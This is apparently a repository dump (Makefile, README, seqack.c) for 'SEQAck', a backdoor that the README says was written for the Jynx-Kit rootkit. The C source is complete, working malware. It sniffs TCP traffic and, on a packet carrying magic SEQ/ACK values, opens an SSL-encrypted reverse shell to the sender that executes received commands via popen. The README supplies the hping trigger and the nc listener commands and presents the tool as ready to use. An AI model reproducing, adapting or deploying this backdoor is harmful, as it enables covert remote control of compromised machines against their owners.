├── Makefile ├── README └── seqack.c /Makefile: -------------------------------------------------------------------------------- 1 | all: seqack 2 | 3 | seqack: seqack.c 4 | gcc -Wall -o seqack seqack.c -lpcap -lssl -lcrypto 5 | 6 | seqack-static: seqack.c 7 | gcc -static seqack.c -o seqack-static -lpcap -lssl -lcrypto -ldl -lz 8 | 9 | clean: 10 | rm seqack 11 | 12 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | seqack.c 2 | 3 | SEQAck is an SSL encrypted, magic packet triggered reverse connect 4 | backdoor application. I wrote this as part of the original 5 | Jynx-Kit LD_PRELOAD rootkit, as we released on BlackHat Academy. With 6 | the second installation of the rootkit, we moved away from the stand 7 | alone sniffing reverse connect, and decided to hook accept() system 8 | call. Not only was it simply to demonstrate another example of creating 9 | a backdoor, but it also fit perfectly with what we were doing, 10 | backdooring the entire system. 11 | 12 | This backdoor monitors on the given interface for all incoming TCP 13 | packets. It relies on two defines, MAGIC_SEQ and MAGIC_ACK. Once the 14 | magic packet is received, it initiates an SSL encrypted reverse 15 | connecting backdoor to the host that sent the packet, on the given 16 | source port. For example, we can initiate the reverse connect with the 17 | following hping command. 18 | 19 | # hping -M 0xdead -L 0xbeef google.com -s 5000 -c 1 20 | 21 | Notice, the source port is 5000, SEQ (-M) is 0xdead and ACK (-L) is 22 | 0xbeef. With this example, we'd also need the following nc (netcat 23 | supplied with nmap) running in the background to accept the incoming 24 | connection. 25 | 26 | # nc -l -p 5000 --ssl 27 | 28 | And there you have it, the reverse connect shell was successful, and 29 | you're in complete control. The idea of using SEQ/ACK values could be 30 | applied to a single packet port knock sequence as well, so this 31 | application could be easily tweaked, and expanded upon based on your 32 | current needs. 33 | 34 | 35 | 36 | Links: 37 | BHA: http://www.blackhatacademy.org 38 | Jynx-Kit: http://www.blackhatacademy.org/security101/Jynx_Rootkit/2.0 39 | ChokePoint: http://www.chokepoint.net 40 | 41 | -------------------------------------------------------------------------------- /seqack.c: -------------------------------------------------------------------------------- 1 | /* 2 | * seqack 3 | **************************************************************************** 4 | * 5 | * Example compiler command-line for GCC: 6 | * gcc -Wall -o seqack seqack.c -lpcap -lssl -lcrypto 7 | * 8 | **************************************************************************** 9 | */ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #define DEBUG_APP 26 | #ifdef DEBUG_APP 27 | #define DEBUG(...) fprintf(stderr, __VA_ARGS__); 28 | #else 29 | #define DEBUG(...) 30 | #endif 31 | 32 | /* default snap length (maximum bytes per packet to capture) */ 33 | #define MAX_CAP 1518 34 | 35 | /* ethernet headers are always exactly 14 bytes [1] */ 36 | #define SIZE_ETHERNET 14 37 | 38 | #define MAGIC_SEQ 0xdead 39 | #define MAGIC_ACK 0xbeef 40 | 41 | /* IP header */ 42 | struct sniff_ip { 43 | u_char ip_vhl; /* version << 4 | header length >> 2 */ 44 | u_char ip_tos; /* type of service */ 45 | u_short ip_len; /* total length */ 46 | u_short ip_id; /* identification */ 47 | u_short ip_off; /* fragment offset field */ 48 | #define IP_RF 0x8000 /* reserved fragment flag */ 49 | #define IP_DF 0x4000 /* dont fragment flag */ 50 | #define IP_MF 0x2000 /* more fragments flag */ 51 | #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ 52 | u_char ip_ttl; /* time to live */ 53 | u_char ip_p; /* protocol */ 54 | u_short ip_sum; /* checksum */ 55 | struct in_addr ip_src,ip_dst; /* source and dest address */ 56 | }; 57 | 58 | #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) 59 | 60 | /* TCP header */ 61 | typedef u_int tcp_seq; 62 | 63 | struct sniff_tcp { 64 | u_short th_sport; /* source port */ 65 | u_short th_dport; /* destination port */ 66 | tcp_seq th_seq; /* sequence number */ 67 | tcp_seq th_ack; /* acknowledgement number */ 68 | u_char th_offx2; /* data offset, rsvd */ 69 | #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) 70 | u_char th_flags; 71 | #define TH_FIN 0x01 72 | #define TH_SYN 0x02 73 | #define TH_RST 0x04 74 | #define TH_PUSH 0x08 75 | #define TH_ACK 0x10 76 | #define TH_URG 0x20 77 | #define TH_ECE 0x40 78 | #define TH_CWR 0x80 79 | #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) 80 | u_short th_win; /* window */ 81 | u_short th_sum; /* checksum */ 82 | u_short th_urp; /* urgent pointer */ 83 | }; 84 | 85 | /* 86 | * print help text 87 | */ 88 | void print_app_usage(const char *app_name) 89 | { 90 | printf("Usage: %s [interface]\n", app_name); 91 | printf("Options:\n"); 92 | printf(" interface Listen on for packets.\n"); 93 | } 94 | 95 | /* 96 | * Initialize SSL library / algorithms 97 | */ 98 | SSL_CTX *InitCTX(void) 99 | { 100 | const SSL_METHOD *method; 101 | SSL_CTX *ctx; 102 | 103 | SSL_library_init(); 104 | 105 | OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ 106 | SSL_load_error_strings(); /* Bring in and register error messages */ 107 | method = SSLv3_client_method(); /* Create new client-method instance */ 108 | ctx = SSL_CTX_new(method); /* Create new context */ 109 | if (ctx == NULL) { 110 | ERR_print_errors_fp(stderr); 111 | abort(); 112 | } 113 | return ctx; 114 | } 115 | 116 | /* 117 | * spawn a backconnect shell 118 | */ 119 | void backconnect(struct in_addr addr, u_short port) 120 | { 121 | struct sockaddr_in sockaddr; 122 | int sock; 123 | FILE *fd; 124 | char *newline; 125 | char buf[1028]; 126 | 127 | SSL_CTX *ctx; 128 | SSL *ssl; 129 | 130 | ctx = InitCTX(); 131 | sockaddr.sin_family = AF_INET; 132 | sockaddr.sin_port = port; 133 | sockaddr.sin_addr = addr; 134 | 135 | sock = socket(AF_INET, SOCK_STREAM, 0); 136 | 137 | if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0) { 138 | ssl = SSL_new(ctx); 139 | SSL_set_fd(ssl,sock); 140 | 141 | sock = SSL_get_fd(ssl); 142 | 143 | if (SSL_connect(ssl) == -1) { 144 | ERR_print_errors_fp(stderr); 145 | } else { 146 | while (SSL_read(ssl,buf,sizeof(buf)-1) > 0) { 147 | newline = strchr(buf,'\n'); 148 | *newline = '\0'; 149 | 150 | fd = popen(buf,"r"); 151 | while(fgets(buf,sizeof(buf)-1,fd) > 0) { 152 | SSL_write(ssl,buf,strlen(buf)); 153 | } 154 | pclose(fd); 155 | } 156 | 157 | close(sock); 158 | SSL_CTX_free(ctx); 159 | } 160 | } 161 | } 162 | 163 | /* 164 | * dissect/print packet 165 | */ 166 | void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { 167 | /* declare pointers to packet headers */ 168 | const struct sniff_ip *ip; /* The IP header */ 169 | const struct sniff_tcp *tcp; /* The TCP header */ 170 | int size_ip; 171 | int size_tcp; 172 | unsigned int r_ack; 173 | unsigned int r_seq; 174 | 175 | /* define/compute ip header offset */ 176 | ip = (struct sniff_ip*)(packet + SIZE_ETHERNET); 177 | size_ip = IP_HL(ip)*4; 178 | if (size_ip < 20) { 179 | DEBUG("* Invalid IP header length\n"); 180 | return; 181 | } 182 | 183 | /* determine protocol */ 184 | switch(ip->ip_p) { 185 | case IPPROTO_TCP: 186 | break; 187 | default: 188 | return; 189 | } 190 | 191 | /* define/compute tcp header offset */ 192 | tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip); 193 | size_tcp = TH_OFF(tcp)*4; 194 | if (size_tcp < 20) { 195 | DEBUG("* Invalid TCP header length\n"); 196 | return; 197 | } 198 | 199 | /* set ack and seq variables, then compare to MAGIC_ACK and MAGIC_SEQ */ 200 | r_ack = ntohl(tcp->th_ack); 201 | r_seq = ntohl(tcp->th_seq); 202 | 203 | if (r_ack == MAGIC_ACK && r_seq == MAGIC_SEQ) { 204 | DEBUG("magic packet received\n"); 205 | backconnect(ip->ip_src, tcp->th_sport); 206 | } 207 | } 208 | 209 | int main(int argc, char *argv[]) 210 | { 211 | char *dev = NULL; /* capture device name */ 212 | char errbuf[PCAP_ERRBUF_SIZE]; /* error buffer */ 213 | pcap_t *handle; /* packet capture handle */ 214 | 215 | char filter_exp[] = "tcp"; /* filter expression [3] */ 216 | struct bpf_program fp; /* compiled filter program (expression) */ 217 | bpf_u_int32 mask; /* subnet mask */ 218 | bpf_u_int32 net; /* ip */ 219 | int num_packets = 0; /* Capture indefinitely */ 220 | 221 | /* check for capture device name on command-line */ 222 | if (argc == 2) { 223 | dev = argv[1]; 224 | } 225 | else if (argc > 2) { 226 | fprintf(stderr, "error: unrecognized command-line options\n\n"); 227 | print_app_usage(argv[0]); 228 | exit(EXIT_FAILURE); 229 | } else { 230 | /* find a capture device if not specified on command-line */ 231 | dev = pcap_lookupdev(errbuf); 232 | if (dev == NULL) { 233 | DEBUG( "Couldn't find default device: %s\n", errbuf); 234 | exit(EXIT_FAILURE); 235 | } 236 | } 237 | 238 | /* get network number and mask associated with capture device */ 239 | if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { 240 | DEBUG("Couldn't get netmask for device %s: %s\n", dev, errbuf); 241 | net = 0; 242 | mask = 0; 243 | } 244 | 245 | /* print capture info */ 246 | DEBUG("Device: %s\n", dev); 247 | DEBUG("Filter expression: %s\n", filter_exp); 248 | 249 | /* open capture device */ 250 | handle = pcap_open_live(dev, MAX_CAP, 1, 1000, errbuf); 251 | if (handle == NULL) { 252 | DEBUG("Couldn't open device %s: %s\n", dev, errbuf); 253 | exit(EXIT_FAILURE); 254 | } 255 | 256 | /* make sure we're capturing on an Ethernet device [2] */ 257 | if (pcap_datalink(handle) != DLT_EN10MB) { 258 | DEBUG("%s is not an Ethernet\n", dev); 259 | exit(EXIT_FAILURE); 260 | } 261 | 262 | /* compile the filter expression */ 263 | if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) { 264 | DEBUG("Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle)); 265 | exit(EXIT_FAILURE); 266 | } 267 | 268 | /* apply the compiled filter */ 269 | if (pcap_setfilter(handle, &fp) == -1) { 270 | DEBUG("Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle)); 271 | exit(EXIT_FAILURE); 272 | } 273 | 274 | /* now we can set our callback function */ 275 | pcap_loop(handle, num_packets, got_packet, NULL); 276 | 277 | /* cleanup */ 278 | pcap_freecode(&fp); 279 | pcap_close(handle); 280 | 281 | return 0; 282 | } 283 | 284 | --------------------------------------------------------------------------------